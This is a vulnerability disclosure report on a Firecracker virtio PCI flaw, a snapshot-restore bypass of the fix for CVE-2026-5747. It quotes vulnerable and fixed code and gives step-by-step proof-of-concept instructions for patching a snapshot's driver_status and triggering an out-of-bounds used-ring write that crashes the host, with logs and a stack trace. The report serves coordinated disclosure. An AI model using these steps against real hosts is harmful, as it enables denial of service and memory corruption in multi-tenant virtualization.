AWS VDP · Report #3738654
Firecracker Out-of-bounds Read/Write Local Privilege Escalation Vulnerability
How it was found
Title:
Firecracker Out-of-bounds Read/Write Local Privilege Escalation Vulnerability
Acknowledgements
████████ (████████) of ████████ and ████████ (████████)
Affect Product
Firecracker v1.15.1 (Latest)
Description:
Original vulnerability: direct post-activation PCI queue mutation
The original issue behind CVE-2026-5747 was in the virtio PCI common configuration write path. In the vulnerable code, queue configuration registers were written directly into the live Queue object without checking whether the device had already been activated.
Vulnerable code in the old tree:
File: src/vmm/src/devices/virtio/transport/pci/common_config.rs
Lines: 202, 219, 314-330
0x18 => self.with_queue_mut(queues, |q| q.size = value),
...
0x1c => self.with_queue_mut(queues, |q| {
if value != 0 {
q.ready = value == 1;
}
}),
...
0x20 => self.with_queue_mut(locked_device.queues_mut(), |q| {
lo(&mut q.desc_table_address, value)
}),
0x24 => self.with_queue_mut(locked_device.queues_mut(), |q| {
hi(&mut q.desc_table_address, value)
}),
0x28 => self.with_queue_mut(locked_device.queues_mut(), |q| {
lo(&mut q.avail_ring_address, value)
}),
0x2c => self.with_queue_mut(locked_device.queues_mut(), |q| {
hi(&mut q.avail_ring_address, value)
}),
0x30 => self.with_queue_mut(locked_device.queues_mut(), |q| {
lo(&mut q.used_ring_address, value)
}),
0x34 => self.with_queue_mut(locked_device.queues_mut(), |q| {
hi(&mut q.used_ring_address, value)
}),
That was dangerous because queue activation validates queue geometry only once and then caches raw host pointers derived from that geometry.
File: src/vmm/src/devices/virtio/queue.rs
Lines: 342-369
pub fn initialize<M: GuestMemory>(&mut self, mem: &M) -> Result<(), QueueError> {
...
self.desc_table_ptr =
self.get_aligned_slice_ptr(mem, self.desc_table_address, self.desc_table_size(), 16)?;
self.avail_ring_ptr =
self.get_aligned_slice_ptr(mem, self.avail_ring_address, self.avail_ring_size(), 2)?;
self.used_ring_ptr =
self.get_aligned_slice_ptr(mem, self.used_ring_address, self.used_ring_size(), 4)?;
Ok(())
}
After activation, later queue operations trust self.size for indexing, but still dereference the cached pointers. If the guest changes queue fields after activation, Firecracker can perform out-of-bounds virtqueue reads and writes through stale pointers.
How the fix works
The fix in 1.14.4 / 1.15.1 adds a guard that only permits queue configuration writes while the device is in the virtio setup state ACKNOWLEDGE | DRIVER | FEATURES_OK (0xb), before DRIVER_OK and before backend activation is complete.
Fixed code:
File: src/vmm/src/devices/virtio/transport/pci/common_config.rs
Lines: 237-254, 272-294, 396-413
fn update_queue_field<F: FnOnce(&mut Queue)>(&mut self, queues: &mut [Queue], f: F) {
let status = self.driver_status;
if status == (ACKNOWLEDGE | DRIVER | FEATURES_OK) {
self.with_queue_mut(queues, f);
} else {
warn!(
"pci: queue config write not allowed in device status {:#x}",
status
);
}
}
...
QUEUE_SIZE => self.update_queue_field(queues, |q| q.size = value),
...
QUEUE_ENABLE => self.update_queue_field(queues, |q| {
if value != 0 {
q.ready = value == 1;
}
}),
...
QUEUE_DESC_LO => self.update_queue_field(locked_device.queues_mut(), |q| {
lo(&mut q.desc_table_address, value)
}),
...
QUEUE_USED_HI => self.update_queue_field(locked_device.queues_mut(), |q| {
hi(&mut q.used_ring_address, value)
}),
So the intended invariant is:
- queue pointers are initialized once using validated geometry
- once the backend is active, PCI queue fields are no longer writable
Bypass path: hostile snapshot restore recreates the forbidden state
The bypass exists because snapshot restore reconstructs queue activation state and PCI driver_status from different serialized fields, but does not validate that they are consistent with each other.
- Queue restore rebuilds cached raw pointers whenever the saved virtio device state says the queue is already activated.
File: src/vmm/src/devices/virtio/persist.rs
Lines: 88-111
fn restore(
constructor_args: Self::ConstructorArgs,
state: &Self::State,
) -> Result<Self, Self::Error> {
let mut queue = Queue {
max_size: state.max_size,
size: state.size,
ready: state.ready,
desc_table_address: GuestAddress(state.desc_table),
avail_ring_address: GuestAddress(state.avail_ring),
used_ring_address: GuestAddress(state.used_ring),
...
};
if constructor_args.is_activated { //--[1]
queue.initialize(&constructor_args.mem)?;
}
Ok(queue)
}
- PCI restore independently trusts
state.device_activatedand re-activates the backend.
File: src/vmm/src/devices/virtio/transport/pci/device.rs
Lines: 437-459
let mut virtio_pci_device = VirtioPciDevice {
...
common_config: virtio_common_config,
...
device_activated: Arc::new(AtomicBool::new(state.device_activated)), //--[1]
...
};
if state.device_activated {
virtio_pci_device
.device
.lock()
.expect("Poisoned lock")
.activate(
virtio_pci_device.memory.clone(),
virtio_pci_device.virtio_interrupt.as_ref().unwrap().clone(),
);
}
- The queue-write gate still checks only
common_config.driver_status.
File: src/vmm/src/devices/virtio/transport/pci/common_config.rs
Lines: 244-247
let status = self.driver_status;
if status == (ACKNOWLEDGE | DRIVER | FEATURES_OK) {
self.with_queue_mut(queues, f);
}
This means a hostile snapshot can restore:
VirtioDeviceState.activated = trueVirtioPciDeviceState.device_activated = trueVirtioPciCommonConfigState.driver_status = 0xb
After restore, Firecracker has:
- an already active backend
- queues whose raw pointers were reinitialized from the saved geometry
- PCI queue writes permitted again because
driver_status == 0xb
That recreates the same stale-pointer condition that the original fix was meant to prevent.
Confirmed consequence
Using the hostile restore state above, the guest can mutate the live queue again after restore and revive the old stale used-ring path:
- out-of-bounds avail-ring read relative to the originally validated queue
- out-of-bounds descriptor-table read relative to the originally validated queue
- out-of-bounds used-ring write through the stale
used_ring_ptr
Proof of Concept
Building the Firecracker
Build Firecracker in the normal way:
git clone https://github.com/firecracker-microvm/firecracker.git
cd firecracker/
git checkout v1.15.1
./tools/devtool checkenv
sudo systemctl start docker
sudo ./tools/devtool build --release
Expected binaries:
file ./build/cargo_target/x86_64-unknown-linux-musl/release/firecracker
file ./build/cargo_target/x86_64-unknown-linux-musl/release/jailer
Building PoC
Notice: Most scripts use default paths under ████████.... Update those paths to match your local environment before running them.
1. Build the guest OS
cd ~/firecracker/resources
git clone --depth=1 https://github.com/amazonlinux/linux
The split-probe kernel builder expects a local Amazon Linux kernel tree at:
~/firecracker/resources/linux
After cloning, prepare the kernel config.
Use the base microvm config and then merge in the PCI fragment with the kernel's config merge helper:
cp ~/firecracker/resources/guest_configs/microvm-kernel-ci-x86_64-6.1.config \
~/firecracker/resources/linux/.config
~/firecracker/resources/linux/scripts/config --file ~/firecracker/resources/linux/.config \
--enable PCI \
--enable PCI_MMCONFIG \
--enable PCI_MSI \
--enable PCIEPORTBUS \
--enable VIRTIO_PCI \
--enable PCI_HOST_COMMON \
--enable PCI_HOST_GENERIC \
--enable BLK_MQ_PCI \
--enable VIRTIO_BLK \
--enable EXT4_FS
make -C ~/firecracker/resources/linux olddefconfig
If a reviewer prefers a quick manual merge, appending pcie.config and then running
olddefconfig also works, but it produces noisy override warnings and is easier to get wrong.
Before building, sanity-check that the guest kernel config really has PCI enabled:
grep -E '^(CONFIG_PCI=|CONFIG_VIRTIO_PCI=|CONFIG_PCI_MSI=|CONFIG_VIRTIO_BLK=|CONFIG_EXT4_FS=)' \
~/firecracker/resources/linux/.config
Expected output should include at least:
CONFIG_PCI=y
CONFIG_PCI_MSI=y
CONFIG_VIRTIO_BLK=y
CONFIG_VIRTIO_PCI=y
CONFIG_EXT4_FS=y
Unzip the attachment files then move it to the ~/pci_snapshot_restore_bypass_demo/.
Copy the poc files then build the split-probe kernel:
mkdir ~/firecracker/resources/kernel_poc/
cp ~/pci_snapshot_restore_bypass_demo/split_probe_builder/resources/kernel_poc/fc_pci_queue_split_probe_builtin.c ~/firecracker/resources/kernel_poc/fc_pci_queue_split_probe_builtin.c
cp ~/pci_snapshot_restore_bypass_demo/split_probe_builder/tools/build_fc_pci_split_probe_kernel.sh ~/firecracker/tools
cd ~/firecracker/tools
./build_fc_pci_split_probe_kernel.sh
Expected output:
/tmp/fc-pci-split-probe-kernel/vmlinux-fc-pci-split-probe
2. Build the guest image
cd ~/pci_snapshot_restore_bypass_demo/
./build_guest_image.sh
3. Save a normal snapshot
./start_normal_instance_and_snapshot.sh
This writes:
/tmp/fc-normal-snapshot/orig.vmstate/tmp/fc-normal-snapshot/orig.mem
4. Mutate the snapshot
- Build the patcher:
remember to change the vmm path in ~/pci_snapshot_restore_bypass_demo/snapshot_patcher/Cargo.toml first
vmm = { path = "████████Desktop/firecracker/firecracker/src/vmm" }
cd ~/pci_snapshot_restore_bypass_demo/snapshot_patcher
cargo build --offline
If --offline fails:
cd ~/pci_snapshot_restore_bypass_demo/snapshot_patcher
cargo build
- Mutate the snapshot:
~/pci_snapshot_restore_bypass_demo/snapshot_patcher/target/debug/patch_snapshot \
/tmp/fc-normal-snapshot/orig.vmstate \
/tmp/fc-normal-snapshot/patched.vmstate
Expected output:
before_driver_status=0xf
after_driver_status=0xb
transport_device_activated=true
backend_virtio_activated=true
That is the malformed snapshot:
- original snapshot stays at
/tmp/fc-normal-snapshot/orig.vmstate - mutated snapshot becomes
/tmp/fc-normal-snapshot/patched.vmstate
Tool needed:
- the local Rust tool in
pci_snapshot_restore_bypass_demo/snapshot_patcher - source entry point:
pci_snapshot_restore_bypass_demo/snapshot_patcher/src/main.rs
Executing PoC
1. Start a fresh Firecracker process
cd ~/pci_snapshot_restore_bypass_demo
./start_firecracker.sh
This starts Firecracker with:
- API socket:
/tmp/fc-start/api.sock - log:
/tmp/fc-start/firecracker.log - PID file:
/tmp/fc-start/firecracker.pid
So after it print the PID, you can sudo gdb -p <PID>
2. Load the mutated snapshot and resume the VM
./load_mutated_snapshot.sh
Guest OS will trigger out-of-bounds write after 10 seconds.
By default this sends:
/tmp/fc-normal-snapshot/patched.vmstate/tmp/fc-normal-snapshot/orig.mem
to the Firecracker process listening on /tmp/fc-start/api.sock.
3. Observe the restored state
cat /tmp/fc-start/firecracker.log
[ 10.522823] queue_size mutated live to 65535; issuing 1 post-mutation request(s) through the stale queue state
[ 10.525730] post-mutation request 1/1: pop avail.ring[65534], consume desc[1], and write used[65534] past guest RAM
2026-04-09T04:43:36.312507266 [anonymous-instance:main] Shutting down VM after intercepting signal 11, code 1.
At this point the malformed snapshot has been restored and resumed. This reproduces the restore-time bypass state:
- backend remains activated
- PCI
driver_statusis rolled back to0xb - post-activation PCI queue mutation becomes possible again
The script above restores the vulnerable state. The stronger guest-triggered crash consequence is then exercised by the companion split-queue crash flow.
Stack Trace
When the reviewer attaches with GDB at the restore_loaded_paused stage and then resumes the VM, the expected backtrace shows the crash in the virtio queue used-ring write path. The crash occurs because the used-ring write goes past guest RAM and lands in an unmapped page.
#0 0x000074fe21990afc in vmm::devices::virtio::rng::device::Entropy::process_entropy_queue ()
#1 0x000074fe2198fce0 in vmm::devices::virtio::rng::event_handler::<impl event_manager::MutEventSubscriber for vmm::devices::virtio::rng::device::Entropy>::process ()
#2 0x000074fe2186b9aa in event_manager::manager::EventManager<S>::run_with_timeout ()
#3 0x000074fe21862509 in firecracker::api_server_adapter::run_with_api ()
#4 0x000074fe2186910b in firecracker::main ()
#5 0x000074fe21871393 in std::sys::backtrace::__rust_begin_short_backtrace ()
#6 0x000074fe218aa643 in main ()
This confirms that the bypass revives the original stale used_ring_ptr primitive rather than only triggering the easier InvalidAvailIdx panic path.
Impact
Summary:
Firecracker is an open source virtualization technology purpose-built for secure multi-tenant container and function workloads. A variant of CVE-2026-5747 exists where, under hostile snapshot restore conditions, a guest can bypass the post-activation virtio PCI queue-write fix by restoring an active device with rolled-back PCI driver_status, reviving stale virtqueue pointer use and enabling out-of-bounds virtqueue access, including a host-crashing out-of-bounds used-ring write.